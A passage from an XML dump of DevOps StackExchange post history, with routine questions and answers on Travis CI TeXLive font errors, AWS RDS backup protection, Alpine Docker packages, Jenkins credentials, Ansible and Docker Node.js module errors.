thread](https://tex.stackexchange.com/questions/253599/repository-and-local-installation) of changing the TeX repository and running the same commands as Travis does when installing the system:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;before_install:&#xD;&#xA;  - if [[ &quot;$TRAVIS_OS_NAME&quot; == &quot;osx&quot; ]]; then&#xD;&#xA;      sudo tlmgr option repository http://mirror.ctan.org/systems/texlive/tlnet;&#xD;&#xA;      sudo tlmgr update --self&#xD;&#xA;      sudo tlmgr install inconsolata upquote courier courier-scaled helvetic;&#xD;&#xA;    fi	&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;and neither worked.&#xD;&#xA;&#xD;&#xA;How can I install the `inconsolata` font?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23261" PostHistoryTypeId="1" PostId="8012" RevisionGUID="901154a9-0af6-42b7-9b41-0ca4af5f4e11" CreationDate="2019-05-03T13:30:03.603" UserId="14747" Text="Testing R package on Travis fails because of TeXLive incompatible versions" ContentLicense="CC BY-SA 4.0" />
  <row Id="23262" PostHistoryTypeId="3" PostId="8012" RevisionGUID="901154a9-0af6-42b7-9b41-0ca4af5f4e11" CreationDate="2019-05-03T13:30:03.603" UserId="14747" Text="&lt;travis-ci&gt;&lt;macos&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23263" PostHistoryTypeId="2" PostId="8013" RevisionGUID="81a6f3e1-e4cc-4e5e-bfb7-114a5dd20d23" CreationDate="2019-05-03T13:33:24.503" UserId="14747" Text="This issue was reported in the [Travis R community forum](https://travis-ci.community/t/latex-error-file-inconsolata-sty-not-found-only-on-osx-when-building-r-package/3261):&#xD;&#xA;&#xD;&#xA;&gt; might be related to the recent switch to TexLive-2019 as the LaTeX package manager seems to fail finding inconsolata in the repository.&#xD;&#xA;&gt; &#xD;&#xA;&gt; ...&#xD;&#xA;&gt;&#xD;&#xA;&gt; It looks to me like the mirror chosen was has not updated to 2019, so I think this will resolve itself naturally when the mirrors catch up. If not I can look into it.&#xD;&#xA;&#xD;&#xA;In the meantime, I downgraded to OSX 10.12 with this line in `.travis.yml`, which works at the time of this writing:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;# macOS 10.12 version&#xD;&#xA;osx_image: xcode9.2&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;See [this Travis page](https://docs.travis-ci.com/user/reference/osx#macos-version) for the correspondence between XCode and OSX versions." ContentLicense="CC BY-SA 4.0" />
  <row Id="23264" PostHistoryTypeId="5" PostId="8013" RevisionGUID="03767512-c42f-4c43-bd32-88c477c8d13d" CreationDate="2019-05-03T13:53:23.460" UserId="14747" Comment="Added previous version of TeXLive" Text="This issue was reported in the [Travis R community forum](https://travis-ci.community/t/latex-error-file-inconsolata-sty-not-found-only-on-osx-when-building-r-package/3261):&#xD;&#xA;&#xD;&#xA;&gt; might be related to the recent switch to TexLive-2019 as the LaTeX package manager seems to fail finding inconsolata in the repository.&#xD;&#xA;&gt; &#xD;&#xA;&gt; ...&#xD;&#xA;&gt;&#xD;&#xA;&gt; It looks to me like the mirror chosen was has not updated to 2019, so I think this will resolve itself naturally when the mirrors catch up. If not I can look into it.&#xD;&#xA;&#xD;&#xA;In the meantime, I solved it by forcing a previous version of TeXLive with a downgrade to OSX 10.12 in `.travis.yml`:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;# macOS 10.12 version&#xD;&#xA;osx_image: xcode9.2&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;See [this Travis page](https://docs.travis-ci.com/user/reference/osx#macos-version) for the correspondence between XCode and OSX versions." ContentLicense="CC BY-SA 4.0" />
  <row Id="23265" PostHistoryTypeId="5" PostId="8013" RevisionGUID="384f5a8a-853d-411e-a78e-c35d83df45ed" CreationDate="2019-05-03T14:01:06.237" UserId="14747" Comment="added 53 characters in body" Text="This issue is due to the CTAN mirrors having yet to update. The issue appears in the [Travis R community forum](https://travis-ci.community/t/latex-error-file-inconsolata-sty-not-found-only-on-osx-when-building-r-package/3261):&#xD;&#xA;&#xD;&#xA;&gt; might be related to the recent switch to TexLive-2019 as the LaTeX package manager seems to fail finding inconsolata in the repository.&#xD;&#xA;&gt; &#xD;&#xA;&gt; ...&#xD;&#xA;&gt;&#xD;&#xA;&gt; It looks to me like the mirror chosen was has not updated to 2019, so I think this will resolve itself naturally when the mirrors catch up. If not I can look into it.&#xD;&#xA;&#xD;&#xA;In the meantime, I solved it by forcing a previous version of TeXLive with a downgrade to OSX 10.12 in `.travis.yml`:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;# macOS 10.12 version&#xD;&#xA;osx_image: xcode9.2&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;See [this Travis page](https://docs.travis-ci.com/user/reference/osx#macos-version) for the correspondence between XCode and OSX versions." ContentLicense="CC BY-SA 4.0" />
  <row Id="23266" PostHistoryTypeId="2" PostId="8014" RevisionGUID="a102987a-63c1-434b-9eb9-6305a9ca0753" CreationDate="2019-05-03T14:19:43.767" UserId="14747" Text="I am writing [an R&#xD;&#xA;package](https://github.com/alan-turing-institute/PosteriorBootstrap) and using&#xD;&#xA;Travis for Continuous Integration. Tests and `R CMD CHECK` pass locally and for&#xD;&#xA;3 versions of R under Linux (oldrel, release, and devel). All three versions&#xD;&#xA;fail under macOS with no information in the Travis logs:&#xD;&#xA;&#xD;&#xA;    ...&#xD;&#xA;    R CMD check fail logs&#xD;&#xA;    0.01s$ for name in $(find &quot;${RCHECK_DIR}&quot; -type f -name &quot;*fail&quot;);do echo &quot;&gt;&gt;&gt; Filename: ${name} &lt;&lt;&lt;&quot;;cat ${name};done&#xD;&#xA;    log&#xD;&#xA;    R CMD check log logs&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;I checked in the Travis logs that all the tests I wrote in `testthat` fail. The Travis tests once passed for both Linux and macOS, so I could dissect the code changes to detect the issue, but ideally I could use something more direct and faster than groping in the dark waiting for an answer from Travis.&#xD;&#xA;&#xD;&#xA;Any ideas?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23267" PostHistoryTypeId="1" PostId="8014" RevisionGUID="a102987a-63c1-434b-9eb9-6305a9ca0753" CreationDate="2019-05-03T14:19:43.767" UserId="14747" Text="Travis tests for R package fail with little explanation" ContentLicense="CC BY-SA 4.0" />
  <row Id="23268" PostHistoryTypeId="3" PostId="8014" RevisionGUID="a102987a-63c1-434b-9eb9-6305a9ca0753" CreationDate="2019-05-03T14:19:43.767" UserId="14747" Text="&lt;travis-ci&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23269" PostHistoryTypeId="2" PostId="8015" RevisionGUID="658c9213-2570-4b3b-985e-3ebc0ee494ed" CreationDate="2019-05-03T14:19:43.767" UserId="14747" Text="If you are using the recommended setting for R packages of upgrading warnings to errors, i.e. with this line in `.travis.yml`:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;warnings_are_errors: true&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;then the place to look is the previous heading in the Travis log, called `Checking package`.&#xD;&#xA;&#xD;&#xA;### Example of problem with missing font&#xD;&#xA;&#xD;&#xA;In my case, the Travis log under the heading `Checking package` showed that the&#xD;&#xA;`inconsolata` font was missing, so the vignettes failed to build:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;* checking PDF version of manual ... WARNING&#xD;&#xA;LaTeX errors when creating PDF version.&#xD;&#xA;This typically indicates Rd problems.&#xD;&#xA;LaTeX errors found:&#xD;&#xA;! LaTeX Error: File `inconsolata.sty' not found.&#xD;&#xA;Type X to quit or &lt;RETURN&gt; to proceed,&#xD;&#xA;or enter new name. (Default extension: sty)&#xD;&#xA;! Emergency stop.&#xD;&#xA;&lt;read *&gt; &#xD;&#xA;         &#xD;&#xA;l.276 ^^M&#xD;&#xA;         &#xD;&#xA;!  ==&gt; Fatal error occurred, no output PDF file produced!&#xD;&#xA;* checking PDF version of manual without hyperrefs or index ... ERROR&#xD;&#xA;* DONE&#xD;&#xA;Status: 1 ERROR, 1 WARNING&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This caused an error for LaTeX, a warning for R, and an error for Travis.&#xD;&#xA;&#xD;&#xA;### Solution to problem&#xD;&#xA;&#xD;&#xA;In my case, the problem was due to Travis using TeXLive 2019 and the CTAN&#xD;&#xA;mirrors having yet to update to 2019.&#xD;&#xA;&#xD;&#xA;The issue appears in the [Travis R community forum](https://travis-ci.community/t/latex-error-file-inconsolata-sty-not-found-only-on-osx-when-building-r-package/3261):&#xD;&#xA;&#xD;&#xA;&gt; might be related to the recent switch to TexLive-2019 as the LaTeX package manager seems to fail finding inconsolata in the repository.&#xD;&#xA;&gt; &#xD;&#xA;&gt; ...&#xD;&#xA;&gt;&#xD;&#xA;&gt; It looks to me like the mirror chosen was has not updated to 2019, so I think this will resolve itself naturally when the mirrors catch up. If not I can look into it.&#xD;&#xA;&#xD;&#xA;In the meantime, I solved it by forcing a previous version of TeXLive with a downgrade to OSX 10.12 in `.travis.yml`:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;# macOS 10.12 version&#xD;&#xA;osx_image: xcode9.2&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;See [this Travis&#xD;&#xA;page](https://docs.travis-ci.com/user/reference/osx#macos-version) for the&#xD;&#xA;correspondence between XCode and OSX versions and [the original thread in DevOps&#xD;&#xA;StackExchange](https://devops.stackexchange.com/questions/8012/testing-r-package-on-travis-fails-because-of-texlive-incompatible-versions/8013#8013).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23270" PostHistoryTypeId="2" PostId="8016" RevisionGUID="94da6b26-3b2c-42d9-ab0f-2fab5510bb00" CreationDate="2019-05-03T14:42:11.940" UserId="14645" Text="AWS Provides a great solution to provide point-in-time recovery backups within RDS. However, while we take every measure to protect the root account, I'm paranoid that if someone were to gain access they can wipe the entire AWS account including all backups and therefore take the whole company down. What are the best ways to handle this? Do you have 100% trust in your root account and policies to prevent someone malicious from wiping the database and all backups?&#xD;&#xA;&#xD;&#xA;What are the best ways to handle an offsite backup to a different RDS account? Should we simply execute `mysqldump` periodically from a separate system, or is there a better way?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23271" PostHistoryTypeId="1" PostId="8016" RevisionGUID="94da6b26-3b2c-42d9-ab0f-2fab5510bb00" CreationDate="2019-05-03T14:42:11.940" UserId="14645" Text="AWS Offsite or cross-account RDS (mysql) backups" ContentLicense="CC BY-SA 4.0" />
  <row Id="23272" PostHistoryTypeId="3" PostId="8016" RevisionGUID="94da6b26-3b2c-42d9-ab0f-2fab5510bb00" CreationDate="2019-05-03T14:42:11.940" UserId="14645" Text="&lt;amazon-web-services&gt;&lt;backup&gt;&lt;mysql&gt;&lt;amazon-rds&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23273" PostHistoryTypeId="2" PostId="8017" RevisionGUID="0f02ff70-387b-454f-a337-b5df6d746447" CreationDate="2019-05-03T14:44:21.173" UserId="14757" Text="I recently started a new position at a company that is transitioning over to docker for local and prod, and inherited a few 'base image' repositories for php, node and a few others.&#xD;&#xA;&#xD;&#xA;Unfortunately the creator is no longer at the company, so I'm going through the system and trying to piece it together. None of the images are used in production yet, and it's fair to say they are probably not road ready yet.&#xD;&#xA;&#xD;&#xA;The images are based off alpine and I noticed particularly in the php image that most of the apk dependencies are using `-dev` distros:&#xD;&#xA;&#xD;&#xA;    apk add --no-cache $PHPIZE_DEPS bzip2-dev freetype-dev gmp-dev icu-dev ...&#xD;&#xA;&#xD;&#xA;I couldn't easily find out the difference between, for example, `bzip2` and `bzip2-dev` but my assumption would be that these packages are aimed at people who develop those packages. Next best guess would be they have some advantage for general developers (php in this example) but if so I'm not sure what those benefits would be.&#xD;&#xA;&#xD;&#xA;Could someone explain the purpose of the `-dev` packages, and perhaps some guidance on where they would be appropriate (e.g. local only or fine for prod?)" ContentLicense="CC BY-SA 4.0" />
  <row Id="23274" PostHistoryTypeId="1" PostId="8017" RevisionGUID="0f02ff70-387b-454f-a337-b5df6d746447" CreationDate="2019-05-03T14:44:21.173" UserId="14757" Text="Could someone explain how -dev apk packages differ on Alpine for the purposes of creating docker images" ContentLicense="CC BY-SA 4.0" />
  <row Id="23275" PostHistoryTypeId="3" PostId="8017" RevisionGUID="0f02ff70-387b-454f-a337-b5df6d746447" CreationDate="2019-05-03T14:44:21.173" UserId="14757" Text="&lt;docker&gt;&lt;php&gt;&lt;alpine&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23276" PostHistoryTypeId="2" PostId="8018" RevisionGUID="271c128a-9c62-4efe-941c-92add8d73e4c" CreationDate="2019-05-03T15:12:17.663" UserId="14757" Text="In terms of your root account, you should be very paranoid about the power it wields and protect it as thoroughly as possible.&#xD;&#xA;&#xD;&#xA;I would suggest that you get yourself a Hardware Key Fob as listed in MFA devices on this page: https://aws.amazon.com/iam/details/mfa/&#xD;&#xA;&#xD;&#xA;Having a physical factor means that you can be sure only people with access to the physical device could log in and do that kind of damage. You can even secure it in a physical safe.&#xD;&#xA;&#xD;&#xA;If your root account is considerably secure, I would be of the opinion that is Good Enough for DB back-ups. If you're worried about those then s3 or other amazon services will have the same problems. While you could look at other storage options, realistically if your aws root account is compromised it might just be the end of days - I would focus on the security aspect personally." ContentLicense="CC BY-SA 4.0" />
  <row Id="23277" PostHistoryTypeId="2" PostId="8019" RevisionGUID="c6ff0ecf-bc64-4b2b-b077-077a4bc17d2c" CreationDate="2019-05-03T15:33:20.930" UserId="13113" Text="There is a good practice called multistage build, in which you have one Dockerfile containing various image definitions that depend from one another, this helps you keep all your images updated with the latest changes and copy artifacts from one to another; this also helps reducing the image size if done right.&#xD;&#xA;A simple example is like the following:&#xD;&#xA;```&#xD;&#xA;FROM golang:1.9.2 as builder&#xD;&#xA;ENV CGO_ENABLED=0 GOOS=linux&#xD;&#xA;RUN go build -a \&#xD;&#xA;             -installsuffix cgo \&#xD;&#xA;             -o app .&#xD;&#xA;&#xD;&#xA;FROM alpine:3.6&#xD;&#xA;WORKDIR /root/&#xD;&#xA;COPY --from=builder app .&#xD;&#xA;CMD [&quot;./app&quot;]&#xD;&#xA;```&#xD;&#xA;In this example, in the first image you compile a go example application using the golang official image and then, using alpine to keep the size of the image small, you copy the executable to a new image and execute it.&#xD;&#xA;This way you can keep your containers in one file and build all at the same time or you can build just a target stage:&#xD;&#xA;```&#xD;&#xA;docker build --target builder -t somehub/sometag:latest .&#xD;&#xA;```&#xD;&#xA;You can even use remote images as stages:&#xD;&#xA;```&#xD;&#xA;COPY --from=nginx:latest /etc/nginx/nginx.conf /nginx.conf&#xD;&#xA;```&#xD;&#xA;If you need anymore information regarding Docker multi-stage builds you can find it in the following [link](https://docs.docker.com/develop/develop-images/multistage-build/)." ContentLicense="CC BY-SA 4.0" />
  <row Id="23278" PostHistoryTypeId="5" PostId="8017" RevisionGUID="d28830f7-ca33-43d2-8408-37bf0bff69e9" CreationDate="2019-05-03T15:46:16.640" UserId="40" Comment="deleted 14 characters in body; edited title" Text="I recently started a new position at a company that is transitioning over to docker for local and prod, and inherited a few 'base image' repositories for php, node and a few others.&#xD;&#xA;&#xD;&#xA;Unfortunately the creator is no longer at the company, so I'm going through the system and trying to piece it together. None of the images are used in production yet, and it's fair to say they are probably not road ready yet.&#xD;&#xA;&#xD;&#xA;The images are based off alpine and I noticed particularly in the php image that most of the apk dependencies are using `-dev` distros:&#xD;&#xA;&#xD;&#xA;    apk add --no-cache $PHPIZE_DEPS bzip2-dev freetype-dev gmp-dev icu-dev ...&#xD;&#xA;&#xD;&#xA;I couldn't easily find out the difference between, for example, `bzip2` and `bzip2-dev` but my assumption would be that these packages are aimed at people who develop those packages. Next best guess would be they have some advantage for general developers (php in this example) but if so I'm not sure what those benefits would be.&#xD;&#xA;&#xD;&#xA;What is the purpose of the `-dev` packages, and perhaps some guidance on where they would be appropriate (e.g. local only or fine for prod?)" ContentLicense="CC BY-SA 4.0" />
  <row Id="23279" PostHistoryTypeId="4" PostId="8017" RevisionGUID="d28830f7-ca33-43d2-8408-37bf0bff69e9" CreationDate="2019-05-03T15:46:16.640" UserId="40" Comment="deleted 14 characters in body; edited title" Text="How do -dev apk packages differ on Alpine for the purposes of creating docker images?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23280" PostHistoryTypeId="2" PostId="8020" RevisionGUID="51b7aebe-a1c6-44d0-846a-491cb4622aa7" CreationDate="2019-05-03T16:24:31.103" UserId="14762" Text="I usually set the credential NAME into an environment variable&#xD;&#xA;&#xD;&#xA;    environment {&#xD;&#xA;        CERT = 'mycert'&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Then I can use that name where ever I need it&#xD;&#xA;&#xD;&#xA;    withCredentials([usernamePassword(credentialsId: &quot;${env.CERT}&quot;,&#xD;&#xA;                                      passwordVariable: 'CERT_PASSWORD',&#xD;&#xA;                                      usernameVariable: 'CERT_USER')]) {&#xD;&#xA;        // Do things needing environment variables&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    checkout(poll: false,&#xD;&#xA;             scm: [&#xD;&#xA;                   $class: 'GitSCM',&#xD;&#xA;                   userRemoteConfigs: [[credentialsId: &quot;${env.CERT}&quot;, &#xD;&#xA;                                       url: 'https://code.example.org/somerepo']]&#xD;&#xA;                   ])&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23282" PostHistoryTypeId="50" PostId="5612" RevisionGUID="0106c05b-1fe5-4d35-951a-59ae5b45c8c4" CreationDate="2019-05-04T01:02:00.800" UserId="-1" />
  <row Id="23291" PostHistoryTypeId="2" PostId="8023" RevisionGUID="2cad536b-5c74-49f6-ad4f-f4a7a258c098" CreationDate="2019-05-04T08:31:20.557" UserId="8251" Text="On to of protecting your root account as best as you can, you should be able to reduce the risk of such resource deletion if you have more than 1 resource to protect.&#xD;&#xA;&#xD;&#xA;For example if all AWS resources you had to protect were 2 RDS database servers, you could create 2 other accounts that have access to only copy the snapshots of one of your database servers each - and no other access to any other resource. This setup would then require an intruder to hack both root accounts of your main and one backup account each, which should be significantly more difficult." ContentLicense="CC BY-SA 4.0" />
  <row Id="23292" PostHistoryTypeId="5" PostId="8023" RevisionGUID="f90b6e6c-040f-495b-b079-c241c6cc4ff0" CreationDate="2019-05-04T08:45:10.543" UserId="8251" Comment="typo" Text="On top of protecting your root account as best as you can, you should be able to reduce the risk of such resource deletion if you have more than 1 resource to protect.&#xD;&#xA;&#xD;&#xA;For example if all AWS resources you had to protect were 2 RDS database servers, you could create 2 other accounts that have access to only copy the snapshots of one of your database servers each - and no other access to any other resource. This setup would then require an intruder to hack both root accounts of your main and one backup account each, which should be significantly more difficult." ContentLicense="CC BY-SA 4.0" />
  <row Id="23293" PostHistoryTypeId="5" PostId="7962" RevisionGUID="f768cc37-3dfa-4b95-b638-54d1ca46a131" CreationDate="2019-05-04T11:57:03.880" UserId="7715" Comment="Both commands are identical. " Text="Append the parameters after the command. See the example below.&#xD;&#xA;&#xD;&#xA;    # ansible -m shell --args &quot;pwd; touch test; ls -1 chdir=/scratch/tmp creates=/scratch/tmp/test&quot; localhost&#xD;&#xA;    localhost | CHANGED | rc=0 &gt;&gt;&#xD;&#xA;    /scratch/tmp&#xD;&#xA;    test&#xD;&#xA;&#xD;&#xA;    # ansible -m shell --args &quot;pwd; touch test; ls -1 chdir=/scratch/tmp creates=/scratch/tmp/test&quot; localhost&#xD;&#xA;    localhost | SUCCESS | rc=0 &gt;&gt;&#xD;&#xA;    skipped, since /scratch/tmp/test exists&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23294" PostHistoryTypeId="50" PostId="6779" RevisionGUID="91fd5fbb-cde1-4626-94b0-43bee4b3f40a" CreationDate="2019-05-04T13:01:40.220" UserId="-1" />
  <row Id="23295" PostHistoryTypeId="2" PostId="8024" RevisionGUID="64010e3a-8f6b-4901-aefe-4f7cdf195173" CreationDate="2019-05-04T14:42:50.667" UserId="14775" Text="I have an Azure vnet setup, to which two PCs are connected via a point-to-site VPN. I was hoping to be able to then RDP from one pc to the other using the IP assigned by the gateway, but this doesn't work, just can't find the other pc. I've dropped firewalls etc... to test this, but still nothing.&#xD;&#xA;&#xD;&#xA;Can anyone advise if this is actually possible, or if there is something else I can do?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23296" PostHistoryTypeId="1" PostId="8024" RevisionGUID="64010e3a-8f6b-4901-aefe-4f7cdf195173" CreationDate="2019-05-04T14:42:50.667" UserId="14775" Text="Connect two PCs to Azure vnet then RDP from one to the other" ContentLicense="CC BY-SA 4.0" />
  <row Id="23297" PostHistoryTypeId="3" PostId="8024" RevisionGUID="64010e3a-8f6b-4901-aefe-4f7cdf195173" CreationDate="2019-05-04T14:42:50.667" UserId="14775" Text="&lt;azure&gt;&lt;vpn&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23298" PostHistoryTypeId="2" PostId="8025" RevisionGUID="8ddff0c1-d998-45ba-a23d-9957ff3ced1e" CreationDate="2019-05-04T16:10:12.723" UserId="14776" Text="When I start a dockerized Node.js testapp with &#xD;&#xA;&#xD;&#xA;    sudo docker-compose up&#xD;&#xA;&#xD;&#xA;I get the following error:&#xD;&#xA;&#xD;&#xA;    Starting testapp_web_1 ... done&#xD;&#xA;    Attaching to testapp_web_1&#xD;&#xA;    web_1  |&#xD;&#xA;    web_1  | &gt; testapp@0.0.1 start /usr/app&#xD;&#xA;    web_1  | &gt; node index.js&#xD;&#xA;    web_1  |&#xD;&#xA;    web_1  | internal/modules/cjs/loader.js:613&#xD;&#xA;    web_1  |     throw err;&#xD;&#xA;    web_1  |     ^&#xD;&#xA;    web_1  |&#xD;&#xA;    web_1  | Error: Cannot find module 'mongodb'&#xD;&#xA;    web_1  | Require stack:&#xD;&#xA;    web_1  | - /usr/app/index.js&#xD;&#xA;    web_1  |     at Function.Module._resolveFilename (internal/modules/cjs/loader.js:610:15)&#xD;&#xA;    web_1  |     at Function.Module._load (internal/modules/cjs/loader.js:526:27)&#xD;&#xA;    web_1  |     at Module.require (internal/modules/cjs/loader.js:666:19)&#xD;&#xA;    web_1  |     at require (internal/modules/cjs/helpers.js:16:16)&#xD;&#xA;    web_1  |     at Object.&lt;anonymous&gt; (/usr/app/index.js:4:21)&#xD;&#xA;    web_1  |     at Module._compile (internal/modules/cjs/loader.js:759:30)&#xD;&#xA;    web_1  |     at Object.Module._extensions..js (internal/modules/cjs/loader.js:770:10)&#xD;&#xA;    web_1  |     at Module.load (internal/modules/cjs/loader.js:628:32)&#xD;&#xA;    web_1  |     at Function.Module._load (internal/modules/cjs/loader.js:555:12)&#xD;&#xA;    web_1  |     at Function.Module.runMain (internal/modules/cjs/loader.js:826:10)&#xD;&#xA;    web_1  | npm ERR! code ELIFECYCLE&#xD;&#xA;    web_1  | npm ERR! errno 1&#xD;&#xA;    web_1  | npm ERR! testapp@0.0.1 start: `node index.js`&#xD;&#xA;    web_1  | npm ERR! Exit status 1&#xD;&#xA;    web_1  | npm ERR!&#xD;&#xA;    web_1  | npm ERR! Failed at the testapp@0.0.1 start script.&#xD;&#xA;    web_1  | npm ERR! This is probably not a problem with npm. There is likely additional logging output above.&#xD;&#xA;    web_1  |&#xD;&#xA;    web_1  | npm ERR! A complete log of this run can be found in:&#xD;&#xA;    web_1  | npm ERR!     /root/.npm/_logs/2019-05-04T15_34_04_615Z-debug.log&#xD;&#xA;    testapp_web_1 exited with code 1&#xD;&#xA;&#xD;&#xA;The project structur is as follows&#xD;&#xA;&#xD;&#xA;    - testapp&#xD;&#xA;    --- docker-compose.yml&#xD;&#xA;    --- dockerfile&#xD;&#xA;    --- src&#xD;&#xA;    ----- index.js&#xD;&#xA;    ----- package.json&#xD;&#xA;&#xD;&#xA;**index.js**&#xD;&#xA;&#xD;&#xA;    'use strict';&#xD;&#xA;    &#xD;&#xA;    const MongoClient = require('mongodb').MongoClient;&#xD;&#xA;    const express = require('express');&#xD;&#xA;    &#xD;&#xA;    // Constants&#xD;&#xA;    const PORT = 8080;&#xD;&#xA;    &#xD;&#xA;    // App&#xD;&#xA;    const app = express();&#xD;&#xA;    app.get('/', (req, res) =&gt; {&#xD;&#xA;      res.send('Hello world\n');&#xD;&#xA;    });&#xD;&#xA;    &#xD;&#xA;    app.listen(PORT);&#xD;&#xA;    console.log(`Running on Port:${PORT}`);&#xD;&#xA;&#xD;&#xA;**package.json**  &#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      &quot;name&quot;: &quot;testapp&quot;,&#xD;&#xA;      &quot;version&quot;: &quot;0.0.1&quot;,&#xD;&#xA;      &quot;description&quot;: &quot;Testapp&quot;,&#xD;&#xA;      &quot;author&quot;: &quot;hi there&quot;,&#xD;&#xA;      &quot;main&quot;: &quot;index.js&quot;,&#xD;&#xA;      &quot;scripts&quot;: {&#xD;&#xA;        &quot;start&quot;: &quot;node index.js&quot;&#xD;&#xA;      },&#xD;&#xA;      &quot;dependencies&quot;: {&#xD;&#xA;        &quot;express&quot;: &quot;^4.16.4&quot;,&#xD;&#xA;        &quot;mongodb&quot;: &quot;^3.2.3&quot;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;**dockerfile**&#xD;&#xA;&#xD;&#xA;    FROM node:12-alpine&#xD;&#xA;    &#xD;&#xA;    WORKDIR /usr/app&#xD;&#xA;    &#xD;&#xA;    COPY package*.json ./&#xD;&#xA;    &#xD;&#xA;    RUN npm install&#xD;&#xA;&#xD;&#xA;    COPY . .&#xD;&#xA;    &#xD;&#xA;    EXPOSE 8080&#xD;&#xA;&#xD;&#xA;**docker-compose.yml**&#xD;&#xA;&#xD;&#xA;    version: '3'&#xD;&#xA;    services:&#xD;&#xA;      web:&#xD;&#xA;        build: .&#xD;&#xA;        command: npm start&#xD;&#xA;        volumes:&#xD;&#xA;          - ./src:/usr/app/&#xD;&#xA;          - /usr/app/node_modules&#xD;&#xA;        ports:&#xD;&#xA;          - 80:8080&#xD;&#xA;&#xD;&#xA;I have alread read this [stackoverflow thread][1] but I couldn't solve this issue. I'm getting this error no matter what module I'm trying to use: mongodb, spdy, etc. Locally without docker the testapp is working. But I don't know what I'm doing wrong with docker. Can anyone help me?&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/30043872/docker-compose-node-modules-not-present-in-a-volume-after-npm-install-succeeds" ContentLicense="CC BY-SA 4.0" />
  <row Id="23299" PostHistoryTypeId="1" PostId="8025" RevisionGUID="8ddff0c1-d998-45ba-a23d-9957ff3ced1e" CreationDate="2019-05-04T16:10:12.723" UserId="14776" Text="Docker Node.js Error: Cannot find module" ContentLicense="CC BY-SA 4.0" />
  <row Id="23300" PostHistoryTypeId="3" PostId="8025" RevisionGUID="8ddff0c1-d998-45ba-a23d-9957ff3ced1e" CreationDate="2019-05-04T16:10:12.723" UserId="14776" Text="&lt;docker&gt;&lt;node.js&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23301" PostHistoryTypeId="5" PostId="6916" RevisionGUID="bf172019-7e65-4aa8-8662-df6ae1b6c2e9" CreationDate="2019-05-04T17:49:08.703" UserId="13587" Comment="added 89 characters in body; edited title" Text="I am a very beginner in the Docker world, while I am trying to experiment with Docker file and Docker-Compose I am facing the below error, I now am able to understand it is related to declaring volumes in Docker compose, if I remove volumes, everything works fine, may be it is trying to refer back to the package.json  file in my local drive and somehow container is not finding the package.json inside the container, yet to figure out how to solve this.&#xD;&#xA;&#xD;&#xA;    enoent ENOENT: no such file or directory, open '/app/package.json'&#xD;&#xA;&#xD;&#xA;Here is the output from docker-compose:&#xD;&#xA;&#xD;&#xA;    Starting frontend_web_1  ... done&#xD;&#xA;    Starting frontend_test_1 ... done&#xD;&#xA;    Attaching to frontend_test_1, frontend_web_1&#xD;&#xA;    web_1   | npm ERR! path /app/package.json&#xD;&#xA;    web_1   | npm ERR! code ENOENT&#xD;&#xA;    web_1   | npm ERR! errno -2&#xD;&#xA;    web_1   | npm ERR! syscall open&#xD;&#xA;    web_1   | npm ERR! enoent ENOENT: no such file or directory, open '/app/package.json'&#xD;&#xA;    web_1   | npm ERR! enoent This is related to npm not being able to find a file.&#xD;&#xA;    web_1   | npm ERR! enoent&#xD;&#xA;    test_1  | npm ERR! path /app/package.json&#xD;&#xA;    test_1  | npm ERR! code ENOENT&#xD;&#xA;    test_1  | npm ERR! errno -2&#xD;&#xA;    web_1   |&#xD;&#xA;    test_1  | npm ERR! syscall open&#xD;&#xA;    web_1   | npm ERR! A complete log of this run can be found in:&#xD;&#xA;    web_1   | npm ERR!     /root/.npm/_logs/2019-04-22T04_10_39_226Z-debug.log&#xD;&#xA;    test_1  | npm ERR! enoent ENOENT: no such file or directory, open '/app/package.json'&#xD;&#xA;    test_1  | npm ERR! enoent This is related to npm not being able to find a file.&#xD;&#xA;    test_1  | npm ERR! enoent&#xD;&#xA;    test_1  |&#xD;&#xA;    test_1  | npm ERR! A complete log of this run can be found in:&#xD;&#xA;    test_1  | npm ERR!     /root/.npm/_logs/2019-04-22T04_10_39_236Z-debug.log&#xD;&#xA;    frontend_web_1 exited with code 254&#xD;&#xA;    frontend_test_1 exited with code 254&#xD;&#xA;&#xD;&#xA;Dockerfile.dev&#xD;&#xA;&#xD;&#xA;    FROM node:alpine&#xD;&#xA;    &#xD;&#xA;    WORKDIR /app&#xD;&#xA;    &#xD;&#xA;    COPY package.json .&#xD;&#xA;    &#xD;&#xA;    RUN npm install&#xD;&#xA;    &#xD;&#xA;    COPY . .&#xD;&#xA;    &#xD;&#xA;    CMD [&quot;npm&quot;, 